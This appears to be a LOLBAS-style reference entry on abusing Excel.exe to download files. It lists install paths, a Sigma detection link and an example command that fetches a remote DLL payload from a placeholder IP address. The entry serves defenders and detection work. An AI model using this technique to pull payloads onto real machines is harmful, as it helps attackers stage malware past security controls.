.. /Excel.exe
Star

Download

Microsoft Office binary

Paths:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
C:\Program Files\Microsoft Office\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
C:\Program Files\Microsoft Office\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
C:\Program Files\Microsoft Office\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe

Resources:

Acknowledgements:

Reegun J (OCBC Bank) (@reegun21)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml
IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

Excel.exe http://192.168.1.10/TeamsAddinLoader.dll

Usecase: It will download a remote payload and place it in the cache folder
Privileges required: User
OS: Windows
MITRE ATT&CK®: T1105